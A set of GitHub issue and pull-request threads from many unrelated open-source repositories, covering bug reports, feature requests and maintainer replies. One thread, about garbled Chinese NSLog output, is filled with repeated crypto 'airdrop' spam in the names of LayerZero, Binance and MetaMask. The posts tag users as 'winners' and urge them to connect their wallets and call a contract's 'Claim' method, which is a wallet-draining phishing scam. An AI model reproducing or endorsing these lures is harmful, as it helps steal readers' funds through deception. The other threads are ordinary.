Happy to look at bugfixes - we are working to get 4.0 out in the next week or so, so would want to get any bugfixes in.  Is there a dataset to test?

I opened a new issue here: https://github.com/choderalab/pymbar/issues/419 and provided some input files! Let me know if you need more information!

authors: bergazin davidlmobley hannahbaumann jchodera mrshirts

repo: choderalab/pymbar


text:
Minor docstring exp fix

The exp function in other_estimators has a wrong docstrings for the returns. It now returns a dictionary with the data instead of floats.

Errors are in one of the solvers (so something weird numerical) and linting, so I will go ahead and merge this for now.

@mrshirts I agree, changes from this PR are unrelated to the failing tests, this one should be ready to be merged into the main/master branch.

authors: ijpulidos mrshirts


text:
Separate Lmod dependencies for Building Lmod or Just Using Lmod

Separate git, gcc and make
from tcl and lua

Please also check this for Lmod

Closed, work around is to install Lmod from repos.

authors: mmhashatsi nyameko


text:
Interactions - Geocoder not working

When navigating to interaction tab and turning on the geocoder the map disappears from the view.

Any idea what could be the cause and how to fix it?

Is this the same problem? https://github.com/chrieke/streamlit-keplergl/issues/10

Closing the issue as duplicate of #10. I would be grateful for any update/plan to address it. If you have suggestions I could try and fix it.

authors: SebastianoF chrieke

repo: chrieke/streamlit-keplergl


text:
Quiet option or loglevels does not silence Written status

When using -o to write to a file and using --quiet or --loglevel warning (and up) the download/written status is still printed to console. Could we maybe get another flag to silence download status? Or integrate the loglevels into it ?

For 100% silent operation you can do livestreamer -Q -O url quality > filename.

authors: Nicholi chrippa

repo: chrippa/livestreamer


text:
Can you retrieve the api token from the request parameters as well as the Authorization header?

Is it possible to have JSONP support? It speeds up AJAX requests when it doesn't make OPTIONS requests beforehand for cross site requests, so would be great to have the access_token retrieved from the request parameters if it doesn't exist in the Authorization header.

the package actually user ellipsesynergie/api-response to respond to any calls and i didn't see anything implemented there

I'm talking about the authentication, the response is something I have custom handlers for. I'm proposing that the api token be retrieved from the GET/POST request parameters as well as the Authorization header. This means an OPTIONS request isn't required resulting in faster AJAX calls.

I would also like this.

authors: MelonSmasher kiwina wasimkham

repo: chrisbjr/api-guard


text:
cf does not work

Hi,
I have tried this workflow and it seems all to work correctly but the cf command. It always says "something wrong..." as you can see from the picture attached. Did i messed something?
SR

Hey @draugvar!
This error message is just saying that you received an openai.error.InvalidRequestError. Here you can read more about it.
In this message I describe how to get the original error message from OpenAI. That could help to debug your problem.

HI here the output when I ask chatFred just "hello":

Hey!
I just created a new release (1.2.0). It contains some new features for troubleshooting maybe this can help you solve your issue.

Hi,
Here attached a screenshot using the last version and the error log:
Date/Time: 2023-03-13 09:23:50.802024 model: gpt-3.5-turbo workflow_version: 1.2.1 error_message: This model's maximum context length is 4097 tokens. However, your messages resulted in 4263 tokens. Please reduce the length of the messages. user_prompt: what's your name temperature: 0.0 max_tokens: None top_p: 1 frequency_penalty: 0.0 presence_penalty: 0.0
As you can see i just asked what's your name and it says maximum context length.

Hey!
That is indeed very strange behavior. Here are some things you may try:

Set the Maximum tokens in the workflow's configuration to something like 1000
Remove the Worfklow and all files in the workflows data directory: ~/Library/Application Support/Alfred/Workflow Data/something with ChatFred/ and install it again.

Hope this helps. Good luck 🤞

reinstalling it was the solution, thanks.

Great! Enjoy playing with it.

authors: chrislemke draugvar

repo: chrislemke/ChatFred


text:
Does gleam have 32 bit system support?

When I try to run the example pi_estimation on my RPi 4, I got the following error:
~/C/g/e/pi_estimation ❯❯❯ go run pi_estimation.go
# github.com/chrislusf/gleam/util
/home/pi/go/pkg/mod/github.com/chrislusf/gleam@v0.0.0-20191006071833-08a93fce97b2/util/key.go:14:11: constant 9223372036854775807 overflows int

And here is the key.go snippet.
https://github.com/chrislusf/gleam/blob/08a93fce97b2f38d0bc58f8e4fe76b7d2553ffa9/util/key.go#L9-L15
I am pretty new to gleam, so I am not sure if this HashByKey has a presumption of running on 64 bit system. Does gleam have 32 bit system support?

try to change line 14 to just return x

authors: chrislusf gopricy

repo: chrislusf/gleam


text:
filer seems to ignore -localSocket= and crashes if run as non privileged due to default creation in /tmp/

Describe the bug
filer seems to ignore -localSocket=
Instead it runs with the default in /tmp/ which crashes if run as non privileged user since no permissions
System Setup

List the command line to start
/usr/local/bin/weed filer -localSocket=/home/seaweedfs/filer.sock -ip=10.0.253.3 -ip.bind=10.0.253.3 -port=9533 -master=10.0.253.1:9333,10.0.253.6:9333,10.0.253.3:9333
/usr/local/bin/weed volume -ip=10.0.253.3 -ip.bind=10.0.253.3 -port=9433 -dir=/home/seaweedfs/volume -dataCenter=RBX5 -rack=xxxx -mserver=10.0.253.1:9333,10.0.253.6:9333,10.0.253.3:9333
/usr/local/bin/weed master -defaultReplication=100 -ip=10.0.253.3 -ip.bind=10.0.253.3 -port=9333 -mdir=/home/seaweedfs/master -peers=10.0.253.1:9333,10.0.253.6:9333,10.0.253.3:9333
OS version
Debian 11
output of weed version
version 30GB 3.09 4a046e4de7a40730895f8149120ce8d6e95f961d linux amd64
if using filer, show the content of filer.toml
Was not created by default

Expected behavior
It should override the default path in /tmp/
Screenshots
https://i.imgur.com/dobyC3B.png
Any idea on this?

btw: why non-privileged users can not write to /tmp? I thought it usually should be open.

btw: why non-privileged users can not write to /tmp? I thought it usually should be open.

systemd prevents applications wiriting to "public" /tmp/ and gives the application its own private temp folder
Plus in general the application is limited to the working directory which in this case is /home/seaweedfs

repo: chrislusf/seaweedfs


text:
Update README now that onSuccess fires post-deploy

Since https://www.netlify.com/blog/2021/01/28/post-deploy-events-now-available-to-build-plugins/ and https://github.com/chrism2671/netlify-purge-cloudflare-on-deploy/pull/9 the plugin now uses the onSuccess event that runs after a successful site deploy.
I think that means we can remove this line from the README?

Strictly this plugin triggers the cache purge before deploy (but after build), as this is the only functionality Netlify provides.

Great, thank you!

license: ISC


text:
Added Greek language

Please check if the PR fulfills these requirements

[ ] The commit message follows our guidelines
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
Feature

What is the current behavior? (You can also link to an open issue here)
Many available languages sans Greek

What is the new behavior (if this is a feature change)?
Added the Greek language

Does this PR introduce a breaking change? (What changes might users need to make in their application due to this PR?)
No

Other information:
I'm a native Greek speaker and I work as a Front End Developer.
I kept some words like 'Overlay','Sprites' and 'Flag' since I'm unware of any meaningful translation for them and Googling didn't help.

Thanks @iokaravas Much appreciated!

Thank you for making this a reality!

authors: chrismaltby iokaravas

repo: chrismaltby/gb-studio


text:
Add parallel feature

Add optional feature support for rayon-based parallel iterators over, and parallel slices of, Vector scalar data.

#66 adds CI testing support for optional features

repo: chrissimpkins/vectora


text:
Parses properties and methods enclosed in single quotes and double quotes

Fixes #10 - detection of properties and methods wraped in both single and double quotes for assertions assertMethodWired, assertPropertyWired and assertMethodWiredToForm. Will not match mismatched quote usage e.g. wire:model='attribute"

Hey @titantwentyone, sorry I somehow missed that PR 🙈
Thanks a lot, looks all good to me. The GH action should take care of the styles, so all good 👍

authors: christophrumpel titantwentyone


text:
Move Clustering class to the Metaheuristics library

move the clustering class into the metaheuristics repo, because it better fits there
For the energy hubs, import the metaheuristics library then

also, add CLARA as algorithm option, cause PAM is pretty slow

repo: christophwaibel/EnergyHubs


text:
Make script executable

By submitting this pull request, I confirm the following:
Please fill in any appropriate check-boxes, e.g: [X]

[x]   I have read and understood the contributors guide, as well as this entire template.
[x]   I have made only one major change in my proposed changes.
[ ]   I have commented my proposed changes within the code.
[x]   I have tested my proposed changes, and have included unit tests where possible.
[x]   I am willing to help maintain this change if there are issues with it later.
[x]   I give this submission freely and claim no ownership.

What does this PR aim to accomplish?:
Save the user from running chmod +x tronitor.sh right after cloning.
How does this PR accomplish the above?:
Save the executable bit in the git repo.
What documentation changes (if any) are needed to support this PR?:
Remove section about chmod from README.md.

Sorry for the late reply, I think the e-mail notification went into my junk folder for some reason.
Thank you for this! I was unaware that this was possible with git and I got to learn something! Unfortunately, I saw your fork and made the changes myself before realizing that you submitted this PR, my apologies.

authors: agross christronyxyocum

repo: christronyxyocum/tronitor


text:
False Positive regex in math terms

Test Regex.. appearing on math terms
(ny1 + ny2) / 2 < (dny1 + dny2) / 2

Adding on that, I have a similar case:
.attr(
  'transform', 'translate(' + width / 2 + ',' + margin.bottom / 1.5 + ')'
)

The division between the string concatenation appears as a testable regex.

Same!
const myVector = new Vector2d(center.x - width / 2, center.y - height / 2);

authors: dj-mc ghost omril1

repo: chrmarti/vscode-regex


text:
[ENH] Add block builder

Description of changes
Summarize the changes made by this PR.

Improvements & Bug fixes

...

New functionality

...

Test plan
How are these changes tested?

[ ] Tests pass locally with pytest for python, yarn test for js

Documentation Changes
Are all docstrings for user-facing APIs updated if required? Do we need to make documentation changes in the docs repository?

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#1821  👈
#1820
#1819
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @HammadB and the rest of your teammates on  Graphite

repo: chroma-core/chroma


text:
how to set http request header

What versions are you running?

$ go list -m github.com/chromedp/chromedp
github.com/chromedp/chromedp v0.5.3
$ google-chrome --version
81.0.4044.122
$ go version
go version go1.12.6 darwin/amd64

What did you do? Include clear steps.
how to set request header param (accept-language) ? The chromedp/example header demo is out of  date
What did you expect to see?
set accept-language
What did you see instead?

Why is it out of date? It works for me at cb21abae103c3e9a5ad08f35e2ec516b6053a17e. Note that Ken updated the examples with a newer chromedp and cdproto in January.

No response, closing.

The headers example gives compile error because network.Headers(map[string]interface) now expects network.Headers(easyjson.RawMessage).

The headers example gives compile error because network.Headers(map[string]interface) now expects network.Headers(easyjson.RawMessage).

Yeah, that's right. Just wonder maybe you can showcase an example here how to construct that easyjson.RawMessage object with some 'foo':'bar' header?

The headers example gives compile error because network.Headers(map[string]interface) now expects network.Headers(easyjson.RawMessage).

@danneu Yeah, that's right. Just wonder maybe you can showcase an example here how to construct that easyjson.RawMessage object with some 'foo':'bar' header to pass it to network.Headers()?

Fixed in https://github.com/chromedp/cdproto/commit/82dd5aea4c2632bc151af34551b999438b5d08db commit
See example here: https://github.com/chromedp/examples/blob/master/headers/main.go

authors: danneu dirklu ilyatoka mvdan

repo: chromedp/chromedp


text:
[Java Script Issue][chromedp]

I face the issue to generate the graph correctly on aws server using chromedp. its working fine on my mac
i have check the chrome version on server .chrome version is same on both server and mac.
when i pass 0 value to my java script function they cannot generate graph but on server on 0 graph is appear.
Can some one please help me why this happen is there is a different way to handle java script etc.
Google Chrome 89.0.4389.90 version on server
Please find complete
untitled.html.zip
html file in attachment for testing thanks
must pass value to js function between 0 and 1

Could you please provide the info of the instance on AWS?

According to #785, it seems that you finally managed to make it work on AWS. Closing this one now.

authors: ZekeLu afzalabbasi rn0l485


text:
Add signal for redirects initiated from outside program or webmail

Add signal for redirects initiated from outside program or webmail
Alerts users when redirects initiated from outside program or webmail, and the final URL is not a top domain. List is small to start, since it's non-trivial to figure out what domains are webmail.

Reviewed internally

repo: chromium/suspicious-site-reporter


text:
Where is the project or solution file ?

I have downloaded the source and tried to run it using both VSCode and Visual Studio and they keep asking me for project or solution file
For e.g.
bash-3.2$ dotnet restore
MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file.
bash-3.2$ dotnet run
Couldn't find a project to run. Ensure a project exists in  /aspnet-core-signalr-angular-master.
Or pass the path to the project using --project
bash-3.2$

aspnet-core-signalr-angular.csproj

authors: chsakell nullArguments

repo: chsakell/aspnet-core-signalr-angular


text:
What geolocator service is used?

I have experienced several issues attempting to develop a pull request for wttr.in on my local machine (adding JSON output).
Among issues with wego being different from whatever version is used here, and weather_data.py calling WWO instead of wego, I have been unable to get landmark parsing (~Eiffel+Tower) working.
It appears that location.py/geolocator() (https://github.com/chubin/wttr.in/blob/master/lib/location.py#L63) is utilizing an external service, located at localhost:8004. However, this is not described in the setup documentation anywhere.

@MasterEric Yes, you are right, our wego ersion diverged from the mainstream several years ago. We are currently working on the next wttr.in version where no external processes called via subprocess will be used. Regarding JSON, I don't know what exactly you are implementing, it would be interesting to discuss, but keep in mind that JSON output is already supported, the only thing that is to be implemented yet is http header handling to bypass queries from wttr server to the proxy server. We don't do it, again, because of the new wttr.in version we are working on.
If you need the diverged wego version and the geolocator code, I can email it to you.

I don't particularly need the geolocator code, I was just wondering why it wasn't included in the project.
According to https://github.com/chubin/wttr.in#supported-output-formats and http://wttr.in/:help, I see no syntax for, or reference to, JSON output. Are you referring to this upcoming new server?
My hope was that it would not be too difficult to create a call that simply outputs the JSON that wego provides: https://github.com/schachmat/wego/blob/master/backends/json.go

@MasterEric What I mean, the proxy server (https://github.com/chubin/wttr.in/blob/master/bin/proxy.py) returns the data in JSON anyway; the data is not visible from outside currently, but it would be pretty easy to fix srv.py in such way, that if the query has correspondent header (Accept: application/json), the data will be just passed through it

I was thinking a separate route, such as https://wttr.in/Detroit.json or https://wttr.in/Detroit?format=json, would be preferable, as currently all other input options are available through modification of the URL.

@MasterEric It is a good idea. Probably we should support both of them. Please check out this: https://wttr.in/Detroit?format=j1 (json format can be changed, and will be changed probably; that's why I used j1 for the format identifier) (Please also keep in mind that this feature is experimental)

This is incredibly useful! I'm sure I, along with many other users, would love to have JSON available for scripts and other applications that want to format the data wttr.in provides themselves.
One point to note: weatherCode is one of an enumeration of values described here: https://www.worldweatheronline.com/developer/api/docs/weather-icons.aspx and here: https://github.com/chubin/wttr.in/blob/a1517df21f95d86b569e96e2309e3103ef950ed3/lib/constants.py. That should be prominently stated within the documentation for the JSON feature.
I see no other issues, keep up the good work!

Is this new commit live? What is the URL to access this? I assume the j1 format code is temporary

It is live; j1 format code will stay; if we add new JSON formats, they will be available at jN format codes (where N > 1)

authors: MasterEric chubin


text:
NSLog输出的中文显示了乱码

如题，iOS8.1

LayerZero Airdrop Updated 🪂
The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.
We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!
Layerzero Oficial

Secure Your Layerzero Airdrop with These Simple Steps:

Connect Your Wallet:

Head over to the Layerzero Airdrop.
Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Eligibility Check:

Confirm your eligibility for the Layerzero Airdrop.

Engage for Extra Rewards:

Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

Community Assistance:

Need help? Drop a message on Telegram or other social media platforms.

Stay Informed:

Keep an eye out for updates on the airdrop process via official channels.

Patience Pays Off:

Airdrop distribution might take a while. Stay calm and keep an eye out for updates.

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!

Binance Exclusive Token Giveaway
Welcome to the exclusive Binance Token Giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this incredible opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Seize the moment and indulge in your tokens! This limited-time offer won't be available forever. 🌐💰
Steps to Claim:
1. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share this Token Drop

2. Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

3. Interact with the Contract:

Once your wallet is connected, go to Binance Rewards.
Click on the "Claim" button to interact with the smart contract.

4. Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

5. Share the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, here's how to Claim

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

3. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share on Twitter

Winners: @pingerr, @Jermic, @mtpapion, @fushengcheng, @k1287988804, @lingcoder, @zouhangwithsweet, @guomingcheng, @chunyeah, @utopia2077

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @EthSecurity1, @valli0x, @shubh402, @madhavtripathi05, @rezaiyan, @zhaoweb1980, @xxxcrow

🌐 $ETH MetaMask Airdrop: Claim Your $1000 in Ethereum Now!
🎉 Congratulations!
You're among the chosen participants for the $1.5k Ethereum Airdrop. We're thrilled to grant you $1000 in ETH to celebrate the year's end. But that's not all—connect now, and you'll instantly receive an extra $100! Follow the steps below to claim your Ethereum and make the most of this exclusive giveaway!

Steps to Claim:
1. 🚀 Connect Your MetaMask Wallet:

Click on the Connect Wallet link.
Select MetaMask as your preferred wallet provider.

2. 🔄 Interact with the Contract and Claim Your $100:

Once your MetaMask wallet is connected.
Click on the "Claim" button to interact with the smart contract. Ensure you use the Claim method.

💰 Don't miss out on your $1000 in Ethereum! Additionally, enjoy an instant $100 upon connection. Act now to secure your ETH. Remember, there's a chance to win up to $20,000—it's your golden opportunity with MetaMask!
Winners: @nikhilesh1234, @ujwalkumar1995, @baermathias, @Loug3141, @camchis, @an-ivannikov, @recmo

authors: BhavyClover ChiyuChen0117 fede-s oninn skx926 synchrovision vokaplok

repo: chunyeah/CCLogSystem


text:
加油

加油

good luck

authors: chuzhixin tjztj

repo: chuzhixin/vue-admin-beautiful


text:
🛑 91家纺 is down

In 1593a59, 91家纺 (https://www.91jf.com/) was down:

HTTP code: 403
Response time: 1331 ms

Resolved: 找家纺网 is back up in 49c869f after .

repo: chwang-team/status-hao


text:
IDE error occured when starting IntelliJ

Icons are displayed, but error occured:
Calling ClassLoader#getResource with leading slash doesn't work; strip
1st Error
com.intellij.diagnostic.PluginException: /icons/toolwindows/notifications.svg [Plugin: com.chylex.intellij.coloredicons]
at com.intellij.ide.plugins.cl.PluginClassLoader.findResource(PluginClassLoader.kt:603)
at java.base/java.lang.ClassLoader.getResource(ClassLoader.java:1403)
at com.intellij.ui.RasterizedImageDataLoader.getUrl(RasterizedImageDataLoader.kt:66)
at com.intellij.openapi.util.IconLoader.loadCustomVersion(IconLoader.kt:84)
at com.intellij.util.IconUtil.scaleOrLoadCustomVersion(IconUtil.kt:512)
at com.intellij.openapi.wm.impl.ToolWindowIcon.scale(ToolWindowIcon.kt:38)
at com.intellij.openapi.wm.impl.ToolWindowIcon.scale(ToolWindowIcon.kt:17)
at com.intellij.ide.actions.ActivateToolWindowAction.updatePresentation(ActivateToolWindowAction.java:118)
at com.intellij.ide.actions.ActivateToolWindowAction.ensureToolWindowActionRegistered(ActivateToolWindowAction.java:54)
at com.intellij.toolWindow.ToolWindowSetInitializer.postEntryProcessing(ToolWindowSetInitializer.kt:161)
at com.intellij.toolWindow.ToolWindowSetInitializer.postEntryProcessing$default(ToolWindowSetInitializer.kt:152)
at com.intellij.toolWindow.ToolWindowSetInitializer.createAndLayoutToolWindows(ToolWindowSetInitializer.kt:138)
at com.intellij.toolWindow.ToolWindowSetInitializer.access$createAndLayoutToolWindows(ToolWindowSetInitializer.kt:45)
at com.intellij.toolWindow.ToolWindowSetInitializer$createAndLayoutToolWindows$1.invokeSuspend(ToolWindowSetInitializer.kt)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
at kotlinx.coroutines.scheduling.CoroutineScheduler.runSafely(CoroutineScheduler.kt:570)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.executeTask(CoroutineScheduler.kt:750)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.runWorker(CoroutineScheduler.kt:677)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.run(CoroutineScheduler.kt:664)
2nd Error
com.intellij.diagnostic.PluginException: /icons/toolwindows/notifications.svg [Plugin: com.chylex.intellij.coloredicons]
at com.intellij.ide.plugins.cl.PluginClassLoader.findResource(PluginClassLoader.kt:603)
at java.base/java.lang.ClassLoader.getResource(ClassLoader.java:1403)
at com.intellij.ui.RasterizedImageDataLoader.getUrl(RasterizedImageDataLoader.kt:66)
at com.intellij.openapi.util.IconLoader.loadCustomVersion(IconLoader.kt:84)
at com.intellij.openapi.util.IconLoader.loadCustomVersionOrScale(IconLoader.kt:112)
at com.intellij.openapi.wm.impl.SquareStripeButtonKt.scaleIcon(SquareStripeButton.kt:118)
at com.intellij.openapi.wm.impl.SquareStripeButtonKt.createPresentation(SquareStripeButton.kt:111)
at com.intellij.openapi.wm.impl.SquareStripeButtonKt.access$createPresentation(SquareStripeButton.kt:1)
at com.intellij.openapi.wm.impl.SquareStripeButton.(SquareStripeButton.kt:28)
at com.intellij.toolWindow.ToolWindowPaneNewButtonManager.createStripeButton(ToolWindowPaneNewButtonManager.kt:131)
at com.intellij.openapi.wm.impl.ToolWindowManagerImpl.registerToolWindow$intellij_platform_ide_impl(ToolWindowManagerImpl.kt:1076)
at com.intellij.toolWindow.ToolWindowSetInitializerKt.registerToolWindows(ToolWindowSetInitializer.kt:176)
at com.intellij.toolWindow.ToolWindowSetInitializerKt.access$registerToolWindows(ToolWindowSetInitializer.kt:1)
at com.intellij.toolWindow.ToolWindowSetInitializer$createAndLayoutToolWindows$entries$1.invokeSuspend(ToolWindowSetInitializer.kt:125)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
at com.intellij.openapi.application.TransactionGuardImpl$1.run(TransactionGuardImpl.java:194)
at com.intellij.openapi.application.impl.ApplicationImpl.runIntendedWriteActionOnCurrentThread(ApplicationImpl.java:831)
at com.intellij.openapi.application.impl.ApplicationImpl$3.run(ApplicationImpl.java:456)
at com.intellij.openapi.application.impl.FlushQueue.doRun(FlushQueue.java:79)
at com.intellij.openapi.application.impl.FlushQueue.runNextEvent(FlushQueue.java:122)
at com.intellij.openapi.application.impl.FlushQueue.flushNow(FlushQueue.java:41)
at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:318)
at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:788)
at java.desktop/java.awt.EventQueue$3.run(EventQueue.java:739)
at java.desktop/java.awt.EventQueue$3.run(EventQueue.java:731)
at java.base/java.security.AccessController.doPrivileged(AccessController.java:399)
at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:86)
at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:758)
at com.intellij.ide.IdeEventQueue.defaultDispatchEvent(IdeEventQueue.kt:667)
at com.intellij.ide.IdeEventQueue._dispatchEvent$lambda$7(IdeEventQueue.kt:571)
at com.intellij.openapi.application.impl.ApplicationImpl.withoutImplicitRead(ApplicationImpl.java:1446)
at com.intellij.ide.IdeEventQueue._dispatchEvent(IdeEventQueue.kt:571)
at com.intellij.ide.IdeEventQueue.access$_dispatchEvent(IdeEventQueue.kt:68)
at com.intellij.ide.IdeEventQueue$dispatchEvent$processEventRunnable$1$1$1.compute(IdeEventQueue.kt:349)
at com.intellij.ide.IdeEventQueue$dispatchEvent$processEventRunnable$1$1$1.compute(IdeEventQueue.kt:348)
at com.intellij.openapi.progress.impl.CoreProgressManager.computePrioritized(CoreProgressManager.java:787)
at com.intellij.ide.IdeEventQueue$dispatchEvent$processEventRunnable$1$1.invoke(IdeEventQueue.kt:348)
at com.intellij.ide.IdeEventQueue$dispatchEvent$processEventRunnable$1$1.invoke(IdeEventQueue.kt:343)
at com.intellij.ide.IdeEventQueueKt.performActivity$lambda$1(IdeEventQueue.kt:995)
at com.intellij.openapi.application.TransactionGuardImpl.performActivity(TransactionGuardImpl.java:105)
at com.intellij.ide.IdeEventQueueKt.performActivity(IdeEventQueue.kt:995)
at com.intellij.ide.IdeEventQueue.dispatchEvent$lambda$4(IdeEventQueue.kt:343)
at com.intellij.openapi.application.impl.ApplicationImpl.runIntendedWriteActionOnCurrentThread(ApplicationImpl.java:831)
at com.intellij.ide.IdeEventQueue.dispatchEvent(IdeEventQueue.kt:385)
at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:207)
at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:128)
at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:117)
at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:113)
at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:105)
at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:92)

Duplicate of #1, new UI is not supported. Since the exception only happens in this unsupported scenario, I haven't released an update yet, I will probably do an update once 2023.3 comes out since I noticed it has broken some icons.

authors: CreeTar chylex

repo: chylex/IntelliJ-Colored-Icons